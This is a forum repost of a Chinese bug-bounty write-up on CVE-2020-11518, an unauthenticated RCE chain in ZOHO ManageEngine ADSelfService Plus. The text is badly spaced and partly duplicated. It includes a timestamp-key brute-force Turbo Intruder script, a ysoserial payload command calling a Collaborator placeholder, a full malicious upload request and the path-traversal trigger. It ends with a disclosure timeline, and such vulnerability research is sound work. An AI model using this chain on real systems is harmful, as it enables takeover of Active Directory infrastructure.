搜索

[15828] 2020-09-08_安全研究利用ZOHOADSelfServicePlus漏洞可进入域控活动目录

文档创建者：s7ckTeam
浏览次数：11
最后更新：2025-01-18
2020-09-08_安全研究利用ZOHOADSelfServicePlus漏洞可进入域控活动目录 安 全 研 究   |   利 用 Z O H O   A D S e l f S e r v i c e   P l u s 漏 洞 可 进 入 域 控 活 动 目 录 c l o u d s   F r e e B u f   2 0 2 0 - 0 9 - 0 8 本 文 讲 述 的 是 作 者 通 过 研 究 ， 发 现 美 国 卓 豪 （ 本 文 讲 述 的 是 作 者 通 过 研 究 ， 发 现 美 国 卓 豪 （ Z O H O ） 公 司 的 终 端 用 户 密 码 管 理 软 件 ） 公 司 的 终 端 用 户 密 码 管 理 软 件 Z O H O   M a n a g e E n g i n e   A D S e l f S e r v i c e   P l u s 在 在 5 8 1 5 之 前 的 版 本 之 前 的 版 本 处 理 用 户 输 入 不 当 ， 可 形 成 远 程 未 授 权 代 码 执 行 漏 洞 （ 处 理 用 户 输 入 不 当 ， 可 形 成 远 程 未 授 权 代 码 执 行 漏 洞 （ C V E - 2 0 2 0 - 1 1 5 1 8 ） ， 导 致 攻 击 者 可 利 用 该 漏 洞 ， 通 过 枚 举 方 式 入 侵 相 关 的 域 控 活 动 目 录 ） ， 导 致 攻 击 者 可 利 用 该 漏 洞 ， 通 过 枚 举 方 式 入 侵 相 关 的 域 控 活 动 目 录 （ （ A c t i v e   D i r e c t o r y ） 。 ） 。 发 现 目 标 发 现 目 标 当 我 用 A q u a t o n e 在 做 前 期 探 测 时 ， 发 现 在 两 个 不 同 的 众 测 项 目 中 ， 竟 然 有 两 个 完 全 不 同 的 子 域 名 网 站 都 出 现 了 以 下 相 同 的 Z O H O   M a n a g e E n g i n e A D S e l f S e r v i c e   P l u s 登 录 界 面 ： Z O H O   M a n a g e E n g i n e   A D S e l f S e r v i c e   P l u s 大 多 用 于 组 织 机 构 大 中 型 网 络 中 ， 用 于 用 户 更 改 管 理 其 服 务 器 活 动 目 录 （ A c t i v e   D i r e c t o r y ） 的 账 户 密 码 。
由 于 Z O H O   M a n a g e E n g i n e   A D S e l f S e r v i c e   P l u s 与 组 织 机 构 域 控 服 务 器 上 的 活 动 目 录 （ A c t i v e   D i r e c t o r y ） 相 关 ， 因 此 ， 我 觉 得 它 的 漏 洞 发 现 可 能 会 影 响 很 多 公 司 ， 值 得 多 下 点 功 夫 研 究 研 究 。 源 码 分 析 源 码 分 析 好 在 Z O H O   M a n a g e E n g i n e   A D S e l f S e r v i c e   P l u s 有 3 0 天 的 试 用 版 可 下 载 使 用 ， 因 此 ， 我 决 定 把 它 安 装 在 我 本 地 进 行 一 些 测 试 ， 特 定 是 从 源 码 层 面 对 它 进 行 一 些 分 析 。 A D S e l f S e r v i c e   P l u s 是 J A V A 架 构 的 ， 所 以 我 用 B y t e c o d e   V i e w e r 对 下 载 好 的 应 用 源 码 进 行 编 辑 测 试 ： 从 中 ， 我 对 A D S e l f S e r v i c e   P l u s 进 行 了 深 入 细 致 的 分 析 ， 涉 及 功 能 应 用 、 早 先 漏 洞 修 复 部 份 和 关 联 代 码 等 部 份 。 之 后 ， 我 决 定 构 建 一 个 应 用 端 点 关 键 字 字 典 对 其 进 行 枚 举 测 试 。 漏 洞 发 现 漏 洞 发 现 J a v a 反 序 列 化 漏 洞 反 序 列 化 漏 洞 在 我 的 枚 举 测 试 过 程 中 ， 我 在 一 个 w e b . x m l 文 件 中 看 到 了 以 下 C e w o l f S e r v l e t 相 关 的 代 码 ： 我 在 谷 歌 上 一 查 找 ， 发 现 卓 豪 （ Z O H O ） 的 另 一 个 系 列 产 品 中 早 前 就 存 在 c e w o l f 服 务 端 的 R C E 漏 洞 ， 其 漏 洞 点 在 于 i m g 参 数 可 路 径 遍 历 ， 那 这 里 我 们 也 来 试 试 看 。 在 我 本 机 的 A D S e l f S e r v i c e   P l u s 系 统 中 ， 我 通 过 构 造 了 一 个 e v i l . f i l e 文 件 ， 然 后 通 过 成 功 的 浏 览 h t t p : / / l o c a l h o s t : 8 8 8 8 / c e w o l f / ? i m g = / . . / . . / . . / p a t h / t o / e v i l . f i l e ， 就 证 明 这 里 也 同 样 存 在 该 漏 洞 。 这 也 就 是 说 ， 这 个 未 授 权 的 R C E 漏 洞 直 接 就 是 可 用 的 了 ， 但 利 用 前 提 是 要 在 目 标 A D S e l f S e r v i c e   P l u s 系 统 中 去 发 现 一 个 任 意 文 件 上 传 漏 洞 才 行 ， 只 有 这 样 才 能 上 传 我 们 的 e v i l . f i l e 执 行 访 问 。 任 意 文 件 上 传 漏 洞 任 意 文 件 上 传 漏 洞 为 了 扩 大 测 试 面 ， 我 继 续 在 我 本 机 对 A D S e l f S e r v i c e   P l u s 系 统 进 行 一 些 扩 展 性 的 功 能 配 置 ， 这 里 就 涉 及 到 了 本 地 的 域 控 制 器 （ D o m a i n   C o n t r o l l e r ） 和 活 动 目 录 （ A c t i v e   D i r e c t o r y ） 域 的 配 置 。 经 过 几 小 时 的 折 腾 ， 下 载 I S O 、 磁 盘 空 间 划 分 、 虚 拟 机 搭 建 、 域 控 制 器 临 时 学 习 部 署 ， 最 终 成 功 出 现 了 以 下 A D S e l f S e r v i c e   P l u s 登 录 界 面 ： < s e r v l e t - m a p p i n g > < s e r v l e t - n a m e > C e w o l f S e r v l e t < / s e r v l e t - n a m e > < u r l - p a t t e r n > / c e w o l f / * < / u r l - p a t t e r n > < / s e r v l e t - m a p p i n g >
由 于 这 是 一 个 具 备 管 理 权 限 的 测 试 系 统 ， 从 中 我 可 以 观 察 到 A D S e l f S e r v i c e   P l u s 相 关 的 功 能 应 用 和 A P I 端 点 请 求 。 之 后 ， 我 着 重 研 究 了 其 不 同 的 上 传 功 能 ， 最 后 ， 我 发 现 了 一 个 支 持 智 能 卡 证 书 配 置 的 上 传 点 ， 它 以 P O S T 方 式 对 以 下 路 径 进 行 请 求 ： / L o g o n C u s t o m i z a t i o n . d o ? f o r m = s m a r t C a r d & o p e r a t i o n = A d d 分 析 之 后 ， 我 发 现 该 上 传 点 对 上 传 后 的 智 能 卡 证 书 不 改 名 就 直 接 进 行 存 储 ， 因 此 ， 结 合 上 一 个 反 序 列 化 路 径 遍 历 R C E ， 我 想 可 以 深 入 从 这 里 入 手 。 该 上 传 点 的 机 制 如 下 ： 1 、 登 录 后 的 管 理 员 可 以 通 过 以 下 路 径 上 传 智 能 卡 证 书 ： / L o g o n C u s t o m i z a t i o n . d o ? f o r m = s m a r t C a r d & o p e r a t i o n = A d d 2 、 接 着 会 触 发 后 台 服 务 端 身 份 验 证 R e s t A P I 调 用 ， 完 成 对 密 钥 握 手 交 换 请 求 ， 并 在 服 务 端 生 成 一 个 H A N D S H A K E _ K E Y ： / R e s t A P I / W C / S m a r t C a r d ? H A N D S H A K E _ K E Y = s e c r e t 3 、 然 后 会 继 续 调 用 以 下 A P I 对 H A N D S H A K E _ K E Y 进 行 校 验 ， 并 生 成 成 功 （ S U C C E S S ） 或 失 败 （ F A I L E D ） 的 状 态 ： / s e r v l e t / H S K e y A u t h e n t i c a t o r ? P R O D U C T _ N A M E = M a n a g e E n g i n e + A D S e l f S e r v i c e + P l u s & H A N D S H A K E _ K E Y = s e c r e t 4 、 如 果 校 验 成 功 ， 上 传 的 证 书 会 被 存 储 到 以 下 路 径 ： C : M a n a g e E n g i n e A D S e l f S e r v i c e   P l u s b i n 有 意 思 的 是 ， 上 述 第 2 步 中 的 / R e s t A P I 是 可 以 公 开 访 问 的 ， 因 此 ， 任 意 有 效 的 H A N D S H A K E _ K E Y 就 能 绕 过 用 户 身 份 校 验 ， 把 想 要 上 传 的 文 件 存 储 到 服 务 端 去 。 而 且 ， 第 3 步 涉 及 到 的 / s e r v l e t / H S K e y A u t h e n t i c a t o r 同 样 也 是 可 以 公 开 访 问 的 ， 未 授 权 用 户 可 以 据 此 判 断 某 个 密 钥 的 有 效 性 。 有 了 这 些 分 析 ， 我 再 次 回 到 A D S e l f S e r v i c e   P l u s 的 源 码 中 去 。 枚 举 校 验 密 钥 枚 举 校 验 密 钥 通 过 g r e p 命 令 查 找 ， 我 发 现 了 两 个 有 趣 的 J a v a 类 文 件 。 通 过 我 本 机 的 P o s t g r e S Q L 数 据 库 ， 可 以 查 看 到 其 中 包 含 了 一 个 可 以 利 用 的 A P I 服 务 端 ， 以 及 相 关 的 密 钥 校 验 信 息 ：
一 个 J a v a 类 文 件 是 c o m . m a n a g e e n g i n e . a d s . f w . s e r v l e t 中 的 H S K e y A u t h e n t i c a t o r . c l a s s ： 另 一 个 J a v a 类 文 件 是 c o m . m a n a g e e n g i n e . a d s . f w . a p i 包 中 的 R e s t A P I K e y . c l a s s ： 从 上 述 代 码 可 以 看 出 ， 服 务 端 对 校 验 密 钥 的 当 前 时 间 是 以 毫 秒 计 算 的 ， 大 概 有 2 分 钟 的 一 个 校 验 窗 口 期 ， 也 就 是 说 ， 对 攻 击 者 想 要 枚 举 的 密 钥 来 说 ， 任 意 时 候 都 有 1 2 0 秒 1 0 0 0 毫 秒 = 1 2 0 0 0 0 种 可 能 。 换 句 话 说 ， 如 果 我 持 续 在 2 分 钟 内 ， 每 秒 生 成 至 少 1 0 0 0 个 请 求 ， 那 么 在 身 份 验 证 密 钥 过 期 并 重 新 生 成 时 ， 就 有 可 能 成 功 命 中 有 效 的 密 钥 ， 这 看 似 是 一 项 复 杂 的 网 络 级 攻 击 ， 但 成 功 的 攻 击 测 试 没 有 局 限 性 ， 即 使 不 能 百 分 百 成 功 ， 但 只 要 时 间 足 够 ， 就 有 可 能 成 功 。 接 着 ， 我 准 备 用 B u r p 的 I n t r u d e r 来 生 成 上 述 思 路 中 的 大 量 短 时 请 求 ， 寄 希 望 能 成 功 枚 举 命 中 有 效 密 钥 ： p u b l i c   v o i d   d o P o s t ( H t t p S e r v l e t R e q u e s t   r e q u e s t ,   H t t p S e r v l e t R e s p o n s e   r e s p o n s e )   t h r o w s   S e r v l e t E x c e p t i o n ,   I O E x c e p t i o n   {             t r y   {                   S t r i n g   m e s s a g e   =   " F A I L E D " ;                   R e s t A P I K e y . g e t I n s t a n c e ( ) ;                   S t r i n g   a p i K e y   =   R e s t A P I K e y . g e t K e y ( ) ;                   S t r i n g   h a n d S h a k e K e y   =   r e q u e s t . g e t P a r a m e t e r ( " H A N D S H A K E _ K E Y " ) ;                   i f   ( h a n d S h a k e K e y . e q u a l s ( a p i K e y ) )   {                         m e s s a g e   =   " S U C C E S S " ;                   }                   P r i n t W r i t e r   o u t   =   r e s p o n s e . g e t W r i t e r ( ) ;                   r e s p o n s e . s e t C o n t e n t T y p e ( " t e x t / h t m l " ) ;                   o u t . p r i n t l n ( m e s s a g e ) ;                   o u t . c l o s e ( ) ;             }   c a t c h   ( E x c e p t i o n   v a r 7 )   {                   H S K e y A u t h e n t i c a t o r . o u t . l o g ( L e v e l . I N F O ,   "   " ,   v a r 7 ) ;             }       } R e s t A P I K e y . c l a s s ： p u b l i c   s t a t i c   v o i d   g e n e r a t e K e y ( )     {         L o n g   c T   =   L o n g . v a l u e O f ( S y s t e m . c u r r e n t T i m e M i l l i s ( ) ) ;         k e y   =   c T . t o S t r i n g ( ) ;         g e n e r a t e d T i m e   =   c T ;     }     p u b l i c   s t a t i c   S t r i n g   g e t K e y ( )     {         L o n g   c T   =   L o n g . v a l u e O f ( S y s t e m . c u r r e n t T i m e M i l l i s ( ) ) ;         i f   ( ( k e y   = =   n u l l )   | |   ( g e n e r a t e d T i m e . l o n g V a l u e ( )   +   1 2 0 0 0 0 L   <   c T . l o n g V a l u e ( ) ) )         {             g e n e r a t e K e y ( ) ;         }         r e t u r n   k e y ;     }
但 是 ， 上 述 I n t r u d e r 生 成 的 请 求 字 典 结 合 我 的 自 动 脚 本 ， 针 对 在 线 目 标 系 统 跑 起 来 的 时 候 ， 就 没 那 么 想 当 然 的 了 。 几 小 时 的 反 复 运 行 和 各 种 配 置 更 改 后 ， 捣 鼓 了 快 一 夜 也 没 啥 发 现 ， 对 这 种 方 法 ， 我 都 怀 疑 自 己 了 。 而 且 ， 由 于 不 确 定 在 线 目 标 系 统 的 运 行 时 区 ， 当 时 我 都 有 点 快 放 弃 了 。 但 是 当 我 再 次 用 各 种 偏 移 方 式 运 行 G E T 请 求 后 发 现 ， J a v a 的 当 前 时 间 计 算 函 数 c u r r e n t T i m e M i l l i s 返 回 的 是 标 准 的 U T C 时 间 ， 所 以 时 区 时 间 的 担 心 就 没 必 要 了 。 最 终 ， 经 过 反 复 试 错 ， 我 用 以 下 T u r b o   I n t r u d e r 脚 本 ， 按 每 秒 请 求 数 （ r p s ） 计 算 ， 取 当 前 时 间 戳 前 后 r p s / 2 的 毫 秒 数 进 行 校 验 ， 这 样 可 以 尽 量 扩 大 覆 盖 范 围 并 减 少 误 差 ： 接 着 ， 把 H T T P 请 求 头 存 储 为 以 下 b a s e . t x t ， 配 合 T u r b o   I n t r u d e r 发 起 枚 举 ： 接 下 来 需 要 耐 心 即 可 ： 哦 哇 ， 愿 望 成 真 了 ， 竟 然 可 以 成 功 枚 举 出 有 效 的 验 证 密 i m p o r t   t i m e d e f   q u e u e R e q u e s t s ( t a r g e t ,   w o r d l i s t s ) :         e n g i n e   =   R e q u e s t E n g i n e ( e n d p o i n t = t a r g e t . e n d p o i n t ,                                               c o n c u r r e n t C o n n e c t i o n s = 2 0 ,                                               r e q u e s t s P e r C o n n e c t i o n = 2 0 0 ,                                               p i p e l i n e = T r u e ,                                               t i m e o u t = 2 ,                                               e n g i n e = E n g i n e . T H R E A D E D                                               )         e n g i n e . s t a r t ( )         r p s   =   4 0 0   #   t h i s   i s   a b o u t   t h e   n u m b e r   o f   r e q u e s t s   p e r   s e c o n d   I   c o u l d   g e n e r a t e   f r o m   m y   t e s t   s e r v e r ,   s o   n o t   q u i t e   t h e   i d e a l   1 0 0 0   p e r   s e c o n d         w h i l e   T r u e :                 n o w   =   i n t ( r o u n d ( t i m e . t i m e ( ) * 1 0 0 0 ) )                 f o r   i   i n   r a n g e ( n o w + ( r p s / 2 ) ,   n o w - ( r p s / 2 ) ,   - 1 ) :                         e n g i n e . q u e u e ( t a r g e t . r e q ,   s t r ( i ) ) d e f   h a n d l e R e s p o n s e ( r e q ,   i n t e r e s t i n g ) :         i f   ' S U C C E S S '   i n   r e q . r e s p o n s e :                 t a b l e . a d d ( r e q ) P O S T   / s e r v l e t / H S K e y A u t h e n t i c a t o r ? P R O D U C T _ N A M E = M a n a g e E n g i n e + A D S e l f S e r v i c e + P l u s & H A N D S H A K E _ K E Y = % s   H T T P / 1 . 1 H o s t :   l o c a l h o s t : 8 8 8 8 C o n t e n t - L e n g t h :   0 C o n n e c t i o n :   k e e p - a l i v e .
钥 ， 即 使 吞 吐 量 远 远 低 于 1 0 0 0 r p s ， 只 有 可 怜 的 5 6 r p s ， 最 终 也 成 功 了 ！ 漏 洞 利 用 漏 洞 利 用 现 在 综 合 起 来 ， 最 终 的 漏 洞 利 用 代 码 也 就 简 单 了 。 我 用 反 序 列 化 框 架 y s o s e r i a l 生 成 了 很 多 P a y l o a d ， 发 现 以 下 可 行 的 P a y l o a d ： 然 后 ， 用 B u r p   I n t r u d e r 的 自 动 脚 本 去 枚 举 测 试 校 验 密 钥 ， 再 结 合 y s o s e r i a l 生 成 的 上 述 P a y l o a d ， 去 上 传 一 个 名 为 p i e t e r . e v i l 的 恶 意 文 件 ， 以 此 测 试 上 传 时 的 校 验 接 口 R e s t A P I ， 最 终 的 e x p l o i t 如 下 ： 一 切 就 绪 ， 只 欠 东 风 。 接 下 来 ， 我 针 对 路 径 / c e w o l f / ? i m g = / . . / . . / . . / b i n / p i e t e r . e v i l 发 起 了 G E T 请 求 ， 就 返 回 了 美 妙 的 成 功 请 求 响 应 消 息 ， R C E 成 功 ！ 漏 洞 后 果 漏 洞 后 果 通 过 校 验 密 钥 枚 举 b u g ， 结 合 J a v a 反 序 列 化 路 径 遍 历 ， 最 终 ， 我 成 功 在 Z O H O   M a n a g e E n g i n e   A D S e l f S e r v i c e   P l u s 相 关 的 活 动 目 录 管 理 服 务 器 中 实 现 了 R C E ， 而 且 ， 我 认 为 攻 击 者 可 以 利 用 域 控 制 器 的 链 接 劫 持 域 名 账 户 或 在 活 动 目 录 域 中 创 建 新 用 户 ， 实 现 更 广 泛 的 内 网 入 侵 ， 如 通 过 公 共 V P N 服 务 的 深 入 渗 透 。 我 通 过 测 试 发 现 了 两 家 众 测 项 目 公 司 都 存 在 该 漏 洞 ， 上 报 漏 洞 后 ， 一 家 评 估 为 危 急 ， 一 家 评 估 为 高 危 。 与 此 同 时 ， 我 也 把 该 漏 洞 报 送 给 了 漏 洞 涉 及 厂 商 Z O H O 公 司 ， 被 认 定 为 0 - d a y ， 并 被 分 配 了 C V E - 2 0 2 0 - 1 1 5 1 8 的 漏 洞 编 号 。 漏 洞 上 报 和 处 理 进 程 漏 洞 上 报 和 处 理 进 程 2 0 2 0 . 3 . 2 6     进 行 本 地 测 试 2 0 2 0 . 3 . 3 0     向 存 在 漏 洞 的 一 家 众 测 项 目 公 司 报 送 漏 洞 2 0 2 0 . 3 . 3 1     向 存 在 漏 洞 的 另 一 家 众 测 项 目 公 司 报 送 漏 洞 2 0 2 0 . 4 . 2         向 漏 洞 涉 及 厂 商 Z O H O 公 司 报 送 漏 洞 j a v a   - j a r   y s o s e r i a l - m a s t e r - S N A P S H O T . j a r   M o z i l l a R h i n o 1   " p i n g   p i n g - r c e - M o z i l l a R h i n o 1 . < y o u r - b u r p - c o l l a b o r a t o r > " P O S T   / R e s t A P I / W C / S m a r t C a r d ? m T C a l l = a d d S m a r t C a r d C o n f i g & P R O D U C T _ N A M E = M a n a g e E n g i n e + A D S e l f S e r v i c e + P l u s & H A N D S H A K E _ K E Y = 1 5 8 5 5 5 2 4 7 2 1 5 8   H T T P / 1 . 1 H o s t :   l o c a l h o s t : 8 8 8 C o n t e n t - L e n g t h :   2 4 6 4 C o n t e n t - T y p e :   m u l t i p a r t / f o r m - d a t a ;   b o u n d a r y = - - - - W e b K i t F o r m B o u n d a r y x k Q 2 P 0 9 d v b u V 1 P i 4 C o n n e c t i o n :   c l o s e - - - - - - W e b K i t F o r m B o u n d a r y x k Q 2 P 0 9 d v b u V 1 P i 4 C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " C E R T I F I C A T E _ P A T H " ;   f i l e n a m e = " p i e t e r . e v i l " C o n t e n t - T y p e :   t e x t / x m l < b i n a r y - y s o s e r i a l - p a y l o a d - h e r e > - - - - - - W e b K i t F o r m B o u n d a r y x k Q 2 P 0 9 d v b u V 1 P i 4 C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " C E R T I F I C A T E _ N A M E " b l a h - - - - - - W e b K i t F o r m B o u n d a r y x k Q 2 P 0 9 d v b u V 1 P i 4 C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " S M A R T C A R D _ C O N F I G " { " S M A R T C A R D _ P R O D U C T _ L I S T " : " 4 " } - - - - - - W e b K i t F o r m B o u n d a r y x k Q 2 P 0 9 d v b u V 1 P i 4 - -
2 0 2 0 . 4 . 3         Z O H O 公 布 更 新 版 本 5 8 1 5 并 释 出 相 关 补 丁 2 0 2 0 . 4 . 3         一 家 公 司 把 该 漏 洞 评 估 为 危 急 并 给 予 了 我 相 应 奖 励 2 0 2 0 . 4 . 1 2     另 一 家 公 司 把 该 漏 洞 评 估 为 高 危 并 给 予 了 我 相 应 奖 励 参 考 来 源 ： 参 考 来 源 ： h o n o k i 精 彩 推 荐 精 彩 推 荐 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理